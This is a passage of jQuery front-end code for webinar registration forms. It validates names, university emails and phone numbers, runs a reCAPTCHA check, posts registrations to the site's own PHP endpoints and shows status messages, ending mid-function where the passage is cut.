    /* University Email removed for GL webinar - Riddhi code */
    jQuery("#webinar_submit_btn_psu").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
           // var university_email = jQuery("#webinar_uni_email").val();  
           // var university_email = "test@test.com"; 
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            var university_name = jQuery("#university_name").val();
            var department_name = jQuery("#department_name").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
            else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }
            // else if(university_email.trim() == "" || !validateEmail(university_email))
            // {
            //     jQuery('.form-group').removeClass('has-error');
            //     jQuery('.help-block').hide();
            //     jQuery('#webinar_uni_email').parent().addClass('has-error');
            //     jQuery('.uni_email_error').show();
            //     return false;
            // }
            // else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            // {
            //     jQuery('.form-group').removeClass('has-error');
            //     jQuery('.help-block').hide();
            //     jQuery('#webinar_uni_email').parent().addClass('has-error');
            //     jQuery('.uni_email_error').show();
            //     return false;
            // }
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid == 1 ))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
             
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit_psu.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
            else
            {
                var phone_number = '';
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                console.log('Title = '+webinar_student_title);
                //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                jQuery.ajax({
                    type: 'POST',
                     url : fullpath+'/webinar_submit.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    dataType: 'jsonp',
                    jsonpCallback: "callback",
                    data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                    success:function(response){
                        console.log(response);
                        var response_split = response.split("|");
                        //console.log(response_split);
                        if(response_split[0] == "User registered")		
                        {
                            jQuery("#webinar_submit_btn_psu").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                        }
                        else if(response_split[0] == "The user is already registered")
                        {
                            jQuery("#webinar_submit_btn_psu").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                        }
                        else if(response_split[0] == "User registered old")
                        {
                            jQuery("#webinar_submit_btn_psu").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                            window.setTimeout(function(){                            
                                window.location.href = response_split[1];
                            }, 6000);   
                            
                            
                            if(jQuery("#webinar_counter").length)
                            {
                                var interval = setInterval(function() {
                                    counter--;
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                            else
                            {
                                var interval = setInterval(function() {
                                    counter--;                                    
                                    if (counter == 1) {
                                        window.location.href = response_split[1];
                                        clearInterval(interval);
                                    }
                                }, 1000);
                            }
                        }
                        else
                        {
                            jQuery("#webinar_submit_btn_psu").prop('disabled', false);
                            jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                            jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                        }
                    },
                  error:function(response){
                    console.log(response);
                    jQuery("#webinar_submit_btn_psu").prop('disabled', false);
                    jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                    jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                  }			
                });         
            }
                
            });
        });		
    });
  /* University Email removed for GL webinar - Riddhi code */
  
  
  
 /* University Email removed for GL webinar - paid code */
    jQuery("#webinar_submit_btn_psu-two").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
           // var university_email = jQuery("#webinar_uni_email").val();  
           //var university_email = "test@test.com"; 
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            //var university_name = "test";
            var department_name = jQuery("#department_name").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');  
            var emailblockReg = /^([\w-\.]+@(?!gmail.com)(?!naver.com)(?!daum.net)(?!yahoo.com)(?!hanmail.net)(?!hotmail.com)(?!nate.com)(?!outlook.com)(?!GMAIL.COM)(?!NAVER.COM)(?!DAUM.NET)(?!YAHOO.COM)(?!HANMAIL.NET)(?!HOTMAIL.COM)(?!NATE.COM)(?!OUTLOOK.COM)([\w-]+\.)+[\w-]{2,4})?$/;
            var phoneregex = /^(?=.*[0-9])[- +()0-9]+$/gm;

            if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
          /*  else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }*/
            // else if(university_email.trim() == "" || !validateEmail(university_email))
            // {
            //     jQuery('.form-group').removeClass('has-error');
            //     jQuery('.help-block').hide();
            //     jQuery('#webinar_uni_email').parent().addClass('has-error');
            //     jQuery('.uni_email_error').show();
            //     return false;
            // }
            // else if(!emailblockReg.test(university_email) && webinar_bid == 10)
            // {
            //     jQuery('.form-group').removeClass('has-error');
            //     jQuery('.help-block').hide();
            //     jQuery('#webinar_uni_email').parent().addClass('has-error');
            //     jQuery('.uni_email_error').show();
            //     return false;
            // }
            else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid == 1 ))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }
             
            else if(webinar_bid == 1 || webinar_bid == 10 || webinar_bid == 17)
            {
                if(!phoneregex.test(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit_psu-two.php?first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&email_id='+encodeURIComponent(email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#btn_submit").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#btn_submit").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
					
           }            
            }
           
                
            });
        });		
    });
  /* University Email removed for GL webinar - paid code */
  
  
  
  
	/* sudhir code */
	 jQuery("#webinar_por_btn").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            var university_name = jQuery("#university_name").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
           /* var webinar_pid = jQuery("#webinar_pid").val();*/
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');
            var webinar_student_title = jQuery("#webinar_student_title").val();
            var webinar_title_other = jQuery("#webinar_title_other").val();

            if(webinar_bid == 17)
            { 
                var countryData = iti.getSelectedCountryData();
                var input = document.querySelector("#webinar_phone");                 
                var phone = jQuery("#webinar_phone").val();            
            }
            else
            {
                var phone = jQuery("#webinar_phone").val();
            }                
            
            if((webinar_bid != 20 && webinar_bid == 1 && webinar_cid == 1628))
            {
                var email = "NA";   
            }
            else if(webinar_bid != 20 && webinar_bid != 17)
            {
                var email = jQuery("#webinar_email").val();      
            }
            else
            {
                var email = "NA";
            }
            jQuery('.has-success, .has-warning').hide();

            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
            else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }
            else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
          /*else if(((email.trim() == "" || !validateEmail(email)) && webinar_bid != 20 && webinar_cid != 1628 && webinar_bid != 14))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_email').parent().addClass('has-error');
                jQuery('.email_error').show();
                return false;
            }*/                  
            else if(webinar_bid == 17)
            {
                if(isNaN(phone) && phone.trim() != "")
                {
                    errorMsg.innerHTML = "Please enter a valid number";              
                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    jQuery('#webinar_phone').parent().addClass('has-error');
                    jQuery('.phone_error').show();
                    return false;       
                }
                else
                {      
                    var phone_number = '';
                    if(phone.trim() != "")
                    {
                        phone_number = '+'+countryData.dialCode+' '+phone;        
                    }   

                    jQuery('.form-group').removeClass('has-error');
                    jQuery('.help-block').hide();
                    console.log('Title = '+webinar_student_title);
                    //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
                    jQuery.ajax({
                        type: 'POST',
                        url : fullpath+'/webinar_submit-br.php?first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        dataType: 'jsonp',
                        jsonpCallback: "callback",
                        data : 'first_name='+encodeURIComponent(first_name)+'&university_email='+encodeURIComponent(university_email)+'&webinar_phone='+encodeURIComponent(phone_number)+'&webinar_id='+webinar_id+'&webinar_type='+webinar_type+'&subscribe_us='+subscribe_us+'&webinar_name='+encodeURIComponent(webinar_name)+'&university_name='+encodeURIComponent(university_name)+'&department_name='+encodeURIComponent(department_name)+'&webinar_bid='+webinar_bid+'&webinar_source='+encodeURIComponent(webinar_source)+'&webinar_medium='+encodeURIComponent(webinar_medium)+'&webinar_campaign='+encodeURIComponent(webinar_campaign)+'&recaptcha_response='+encodeURIComponent(token)+'&webinar_student_title='+encodeURIComponent(webinar_student_title)+'&webinar_title_other='+encodeURIComponent(webinar_title_other),
                        success:function(response){
                            console.log(response);
                            var response_split = response.split("|");
                            //console.log(response_split);
                            if(response_split[0] == "User registered")		
                            {
                                jQuery("#webinar_por_btn").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                                ga('send', 'event', 'WebinarRegSuccessMessage', 'RegistrationBtnClick', 'WebinarPage');
                            }
                            else if(response_split[0] == "The user is already registered")
                            {
                                jQuery("#webinar_por_btn").prop('disabled', false);
                                //jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                //jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success, .has-success .success_msg').fadeIn(); 
                            }
                            else if(response_split[0] == "User registered old")
                            {
                                jQuery("#webinar_por_btn").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.has-success-redirect, .has-success-redirect .success_msg_redirect').fadeIn();     
                                window.setTimeout(function(){                            
                                    window.location.href = response_split[1];
                                }, 6000);   
                                
                                if(jQuery("#webinar_counter").length)
                                {
                                    var interval = setInterval(function() {
                                        counter--;
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
                                        jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }
                                else
                                {
                                    var interval = setInterval(function() {
                                        counter--;                                    
                                        if (counter == 1) {
                                            window.location.href = response_split[1];
                                            clearInterval(interval);
                                        }
                                    }, 1000);
                                }                                
                            }
                            else
                            {
                                jQuery("#webinar_por_btn").prop('disabled', false);
                                jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                                jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                            }
                        },
                      error:function(response){
                        console.log(response);
                        jQuery("#webinar_por_btn").prop('disabled', false);
                        jQuery('.has-success, .has-warning, .has-success-redirect, .web_already_registered').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                      }			
                    });         
                }            
            }
           
                
            });
        });		
    });
	
	/* end sudhir code */
    
	
    /**New JP Webinar**/
    
    jQuery("#webinar_submit_btn_jp").click(function(){	
        
        grecaptcha.ready(function () {
            grecaptcha.execute('6LcKm8UZAAAAAIQGO7vhznrUoHGmXmHs2_jHG-lX', { action: 'submit' }).then(function (token) {
                var recaptchaResponse = document.getElementById('recaptchaResponse');
                recaptchaResponse.value = token;
        
            var first_name = jQuery("#webinar_first_name").val();
            var university_email = jQuery("#webinar_uni_email").val();        
            var webinar_id = jQuery("#webinar_id").val();           
            var webinar_type = jQuery("#webinar_type").val();
            var webinar_name = jQuery("#webinar_name").val();
            var university_name = jQuery("#university_name").val();
            var webinar_bid = jQuery("#webinar_bid").val();
            var webinar_cid = jQuery("#webinar_cid").val();
            var subscribe_us = jQuery("#subscribe_us").val(); 
            var webinar_pid = jQuery("#webinar_pid").val();
            var webinar_source = GetURLParameter('utm_source');
            var webinar_medium = GetURLParameter('utm_medium');
            var webinar_campaign = GetURLParameter('utm_campaign');
            var options_selected = jQuery('#webinar_selection option:selected').map(function(a, item){return item.value;});
            var options_splice = Object.values(options_selected);
            console.log(options_splice);
            var options_length = options_splice.length - 2;
            options_splice.splice(-2, options_length);
            //console.log(options_splice.splice(-2, options_length));
            var webinar_selection = options_splice.toString();
            jQuery('.has-success, .has-warning').hide();
            console.log(webinar_selection);
            if(jQuery('#subscribe_us').is(":checked"))
            {
                var subscribe_us = "Yes";
            }
            else
            {
                var subscribe_us = "No";
            }
            //console.log(email);
            if(first_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_first_name').parent().addClass('has-error');
                jQuery('.firstname_error').show();
                return false;
            } 
            else if(university_name.trim() == "")
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#university_name').parent().addClass('has-error');
                jQuery('.univ_name_error').show();
                return false;
            }
            else if(university_email.trim() == "" || !validateEmail(university_email))
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
                jQuery('#webinar_uni_email').parent().addClass('has-error');
                jQuery('.uni_email_error').show();
                return false;
            }
            else if(options_selected.length == 0)
            {
                jQuery('.form-group').removeClass('has-error');
                jQuery('.help-block').hide();
